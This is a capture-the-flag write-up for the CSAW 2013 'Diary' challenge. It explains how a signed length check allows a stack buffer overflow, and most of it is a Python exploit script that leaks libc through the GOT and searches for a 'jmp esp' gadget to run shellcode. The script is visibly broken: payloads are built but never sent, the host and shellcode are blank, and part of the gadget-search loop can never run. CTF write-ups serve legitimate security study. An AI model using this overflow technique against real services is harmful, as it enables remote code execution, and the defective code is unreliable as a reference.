Exploit 300 (CSAW Diary)

This challenge is a diary server listening on port 34266. When we first connect it prompt us to enter a password and an username. Both value are hardcoded in the application and can be retrieved through reverse engineering. Username is csaw2013 and password is S1mplePWD.

Once we are logged we are prompt to enter a new entry into the diary. We first enter the size of the entry text message and then we enter the entry content.

The exploit is that the size we send first is then used by recv to read our entry into a fixed sized buffer of 0x400 bytes. Note that there is a check to see if the size we provided is below 0x400, but giving a 2 bytes negative number such a 0xFFFF would pass the test, but still read 0xFFFF bytes of data, allowing us to smash the stack and overwrite the return adresse.

Since there were no jmp esp instruction in the program, I scanned the libc to find an adresse we could return to that would then jump on the shellcode in the buffer. The exploit script used is:

#!/usr/bin/env python

import socket
import sys
import struct
from struct import pack

host = ''
port = 34266

shellcode = ''

user = 'csaw2013'
pwd = 'S1mplePWD'

def read_until(s, a):
  data = ''
  while data.find(a) == -1:
    data = s.recv(4096)

def connect_to_host():

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))


  return s

ret_off = 0x420
def exploit(offset):

  s = connect_to_host()
  print 'connected'
  payload = ('\x55' * ret_off) + pack("I", offset) + '\x90'*32 + shellcode
  print 'payload sent'

def leak(offset, size):

  s = connect_to_host()
  off_send = pack("I", 0x080488B0)

  payload = ('\x55' * ret_off) + off_send

  payload += pack('<I', 0x080487a0) # exit
  payload += pack('<I', 0x4) # fd
  payload += pack('<I', offset)
  payload += pack('<I', size) # len
  payload += pack('<I', 0x40) # flags

  payload += '\x90'*32 + shellcode


  result = ''
  data = True

  while data:
    data = s.recv(1024)
    result += data

  return result

def find_jmp_esp():
  gots = leak(0x0804af80, 4)  # The offset of the got entries.
  print 'gots: %s' % repr(gots)

  libc_guess = struct.unpack('I', gots[:4])[0]
  print 'libc_guess: %s' % hex(libc_guess)

  buf_base = libc_guess - (libc_guess % 0x1000)

  buf = leak(buf_base, 4096)
  while buf:
    print hex(buf_base)
    jmp_esp = buf.find("\xff\xe4")  # jmp esp
    if jmp_esp != -1:
      return buf_base + jmp_esp
      buf_base += len(buf)
      buf = leak(buf_base, 4096)

  return 0

jmpesp_addr = find_jmp_esp()
print 'jmpesp_addr: ', hex(jmpesp_addr)


comments powered by Disqus